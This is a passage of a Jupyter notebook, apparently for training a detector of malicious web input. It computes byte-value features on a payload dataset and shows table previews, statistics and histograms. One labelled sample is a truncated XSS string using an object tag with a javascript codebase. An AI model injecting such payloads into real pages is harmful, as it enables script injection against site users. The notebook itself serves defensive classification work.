       "    </tr>\n",
       "    <tr>\n",
       "      <th>4</th>\n",
       "      <td>3857146085955889</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "      <td>16</td>\n",
       "      <td>0</td>\n",
       "      <td>0</td>\n",
       "      <td>48</td>\n",
       "      <td>57</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                                                 payload  is_malicious  \\\n",
       "index                                                                    \n",
       "0      <object classid=\"clsid:...\" codebase=\"javascri...           1.0   \n",
       "1                                            mc_6081_149           0.0   \n",
       "2                                                 shines           0.0   \n",
       "3                                              revulsion           0.0   \n",
       "4                                       3857146085955889           0.0   \n",
       "\n",
       "      injection_type  length  non-printable  punctuation  min-byte  max-byte  \n",
       "index                                                                         \n",
       "0                XSS      60              0           16        32       118  \n",
       "1              LEGAL      11              0            2        48       109  \n",
       "2              LEGAL       6              0            0       101       115  \n",
       "3              LEGAL       9              0            0       101       118  \n",
       "4              LEGAL      16              0            0        48        57  "
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Properties of feature: max-byte\n",
      "count    110357.000000\n",
      "mean        109.495229\n",
      "std          20.327697\n",
      "min          33.000000\n",
      "25%         114.000000\n",
      "50%         116.000000\n",
      "75%         118.000000\n",
      "max         240.000000\n",
      "Name: max-byte, dtype: float64\n"
     ]
    },
    {
     "data": {
      "image/png": "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\n+pHm0QAAAABJRU5ErkJggg==\n",
      "text/plain": [
       "<matplotlib.figure.Figure at 0x7f7105624ba8>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "def create_feature_max_byte_value(payloads):\n",
    "    '''\n",
    "    Feature\n",
    "    Maximum byte value in payload\n",
    "    '''\n",
    "    \n",
    "    payloads['max-byte'] = [ max(bytearray(str(row), 'utf8')) for row in payloads['payload']]\n",
    "    return payloads\n",
    "\n",
    "create_feature_max_byte_value(payloads)\n",
    "display(payloads.head())\n",
    "\n",
    "plot_feature_distribution(payloads['max-byte'])"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 14,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>payload</th>\n",
       "      <th>is_malicious</th>\n",
       "      <th>injection_type</th>\n",
       "      <th>length</th>\n",
       "      <th>non-printable</th>\n",
       "      <th>punctuation</th>\n",
       "      <th>min-byte</th>\n",
       "      <th>max-byte</th>\n",
       "      <th>mean-byte</th>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>index</th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>&lt;object classid=\"clsid:...\" codebase=\"javascri...</td>\n",
       "      <td>1.0</td>\n",
       "      <td>XSS</td>\n",
       "      <td>60</td>\n",
       "      <td>0</td>\n",
       "      <td>16</td>\n",
       "      <td>32</td>\n",
       "      <td>118</td>\n",
       "      <td>87.016667</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>mc_6081_149</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "      <td>11</td>\n",
       "      <td>0</td>\n",
       "      <td>2</td>\n",
       "      <td>48</td>\n",
       "      <td>109</td>\n",
       "      <td>69.363636</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>shines</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "      <td>6</td>\n",
       "      <td>0</td>\n",
       "      <td>0</td>\n",
       "      <td>101</td>\n",
       "      <td>115</td>\n",
       "      <td>108.333333</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>3</th>\n",
       "      <td>revulsion</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "      <td>9</td>\n",
       "      <td>0</td>\n",
       "      <td>0</td>\n",
       "      <td>101</td>\n",
       "      <td>118</td>\n",
       "      <td>111.000000</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4</th>\n",
       "      <td>3857146085955889</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "      <td>16</td>\n",
       "      <td>0</td>\n",
       "      <td>0</td>\n",
       "      <td>48</td>\n",
       "      <td>57</td>\n",
       "      <td>53.687500</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                                                 payload  is_malicious  \\\n",
       "index                                                                    \n",
       "0      <object classid=\"clsid:...\" codebase=\"javascri...           1.0   \n",
       "1                                            mc_6081_149           0.0   \n",
       "2                                                 shines           0.0   \n",
       "3                                              revulsion           0.0   \n",
       "4                                       3857146085955889           0.0   \n",
       "\n",
       "      injection_type  length  non-printable  punctuation  min-byte  max-byte  \\\n",
       "index                                                                          \n",
       "0                XSS      60              0           16        32       118   \n",
       "1              LEGAL      11              0            2        48       109   \n",
       "2              LEGAL       6              0            0       101       115   \n",
       "3              LEGAL       9              0            0       101       118   \n",
       "4              LEGAL      16              0            0        48        57   \n",
       "\n",
       "        mean-byte  \n",
       "index              \n",
       "0       87.016667  \n",
       "1       69.363636  \n",
       "2      108.333333  \n",
       "3      111.000000  \n",
       "4       53.687500  "
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Properties of feature: mean-byte\n",
      "count    110357.000000\n",
      "mean         92.514086\n",
      "std          19.323081\n",
      "min          33.000000\n",
      "25%          83.000000\n",
      "50%         101.000000\n",
      "75%         107.000000\n",
      "max         164.000000\n",
      "Name: mean-byte, dtype: float64\n"
     ]
    },
    {
     "data": {
      "image/png": "iVBORw0KGgoAAAANSUhEUgAAAmUAAAFyCAYAAAC0tK2ZAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAHCdJREFUeJzt3X+QXWd93/H3rlZCEVoJqVmTekpxOhXfCGYiA3KQjZFd\nBxnHQdjxkJCoCcHCuMoACXUyIBMQCRMak1i4gURNLNgYCExrg5VKbrFScEiRbAdCkxmFWF9G4KYZ\nE4jGrGTZMjKSt3+cq3C87I+7qz17n3vv+zXjse557o/v/e5d+6Pnee45A+Pj40iSJKmzBjtdgCRJ\nkgxlkiRJRTCUSZIkFcBQJkmSVABDmSRJUgEMZZIkSQUY6nQB5+ro0RM9dU6PVauWMTZ2stNldB37\nNnv2bG7s2+zZs7mxb7PXDT0bGRkemGrMmbLCDA0t6nQJXcm+zZ49mxv7Nnv2bG7s2+x1e88MZZIk\nSQUwlEmSJBXAUCZJklQAQ5kkSVIBDGWSJEkFMJRJkiQVwFAmSZJUAEOZJElSAQxlkiRJBTCUSZIk\nFcBQJkmSVABDmSRJUgEMZZIkSQUY6nQBkqRn2nrLff/859HtV3SwEkkLyZkySZKkAhjKJEmSCmAo\nkyRJKoChTJIkqQCGMkmSpAIYyiRJkgpgKJMkSSqAoUySJKkAhjJJkqQCGMokSZIKYCiTJEkqgKFM\nkiSpAIYySZKkAhjKJEmSCmAokyRJKsBQU08cEYPALmAdcAq4ITOP1MY3AzuA08BoZu6OiDcAb2jd\nZSlwIfBDmXmsqTolSZJK0FgoA64FlmbmxRGxAdgJXAMQEYuB24CLgCeAgxGxNzPvAO5o3ecPqMKa\ngUySJPW8JpcvLwXuBcjMB4H1tbG1wJHMHMvMp4ADwMazgxGxHnhRZt7eYH2SJEnFaHKmbAVwvHb7\nTEQMZebpScZOACtrt98J/GY7L7Jq1TKGhhada61FGRkZ7nQJXcm+zZ49m5uF7Fuv/Ix65X0sNPs2\ne93csyZD2WNAvTODrUA22dgwcAwgIp4DRGb+eTsvMjZ2ch5KLcfIyDBHj57odBldx77Nnj2bm4Xu\nWy/8jPyszY19m71u6Nl0obHJ5cuDwNUArT1lh2pjDwFrImJ1RCyhWrp8oDW2Efhcg3VJkiQVp8mZ\nsj3Apoi4HxgAro+ILcDyzLw9Im4C9lMFw9HMfKT1uAC+3mBdkiRJxWkslGXm08C2CYcP18b3Afsm\nedzvNlWTJHWbrbfc94zbo9uv6FAlkprmyWMlSZIK0OTypSSpDRNnwyT1J2fKJEmSCmAokyRJKoCh\nTJIkqQCGMkmSpAIYyiRJkgpgKJMkSSqAoUySJKkAhjJJkqQCGMokSZIKYCiTJEkqgKFMkiSpAIYy\nSZKkAhjKJEmSCmAokyRJKoChTJIkqQCGMkmSpAIYyiRJkgpgKJMkSSqAoUySJKkAhjJJkqQCGMok\nSZIKYCiTJEkqgKFMkiSpAIYySZKkAhjKJEmSCmAokyRJKoChTJIkqQCGMkmSpAIYyiRJkgpgKJMk\nSSqAoUySJKkAhjJJkqQCDDX1xBExCOwC1gGngBsy80htfDOwAzgNjGbm7tbxm4HXAEuAXZn5kaZq\nlCRJKkVjoQy4FliamRdHxAZgJ3ANQEQsBm4DLgKeAA5GxF5gLXAJ8HJgGfBrDdYnSZJUjCaXLy8F\n7gXIzAeB9bWxtcCRzBzLzKeAA8BG4FXAIWAPsA+4p8H6JEmSitHkTNkK4Hjt9pmIGMrM05OMnQBW\nAj8IPB94NfDDwN6I+JHMHJ/qRVatWsbQ0KJ5L76TRkaGO11CV7Jvs2fP5qaTfevWn1m31t1p9m32\nurlnTYayx4B6ZwZbgWyysWHgGPAocLg1e5YR8R1gBPinqV5kbOzkvBbdaSMjwxw9eqLTZXQd+zZ7\n9mxuOt23bvyZdbpn3cq+zV439Gy60Njk8uVB4GqA1p6yQ7Wxh4A1EbE6IpZQLV0+QLWMeVVEDETE\n+cCzqYKaJElST2typmwPsCki7gcGgOsjYguwPDNvj4ibgP1UwXA0Mx8BHomIjcAXW8ffnJlnGqxR\nkiSpCI2Fssx8Gtg24fDh2vg+qs38Ex/39qZqkiRJKpUnj5UkSSqAoUySJKkAhjJJkqQCGMokSZIK\nYCiTJEkqgKFMkiSpAIYySZKkAhjKJEmSCmAokyRJKoChTJIkqQCGMkmSpAIYyiRJkgpgKJMkSSrA\nUKcLkKR+s/WW+zpdgqQCOVMmSZJUAEOZJElSAQxlkiRJBXBPmSR1kYn70Ua3X9GhSiTNN2fKJEmS\nCmAokyRJKoChTJIkqQCGMkmSpAIYyiRJkgpgKJMkSSqAoUySJKkAhjJJkqQCGMokSZIKYCiTJEkq\ngKFMkiSpAIYySZKkAhjKJEmSCmAokyRJKoChTJIkqQBDTT1xRAwCu4B1wCnghsw8UhvfDOwATgOj\nmbm7dfz/AI+17vZwZl7fVI2SJEmlaCyUAdcCSzPz4ojYAOwErgGIiMXAbcBFwBPAwYjYCxwHBjLz\n8gbrkiRJKk6Ty5eXAvcCZOaDwPra2FrgSGaOZeZTwAFgI9Ws2rKI+LOIuK8V5iRJknpekzNlK6hm\nvs46ExFDmXl6krETwErgJHAr8GFgDfCZiIjWYya1atUyhoYWzXvxnTQyMtzpErqSfZs9ezY3JfWt\npFqm0y11lsa+zV4396zJUPYYUO/MYC1cTRwbBo4BX6WaQRsHvhoRjw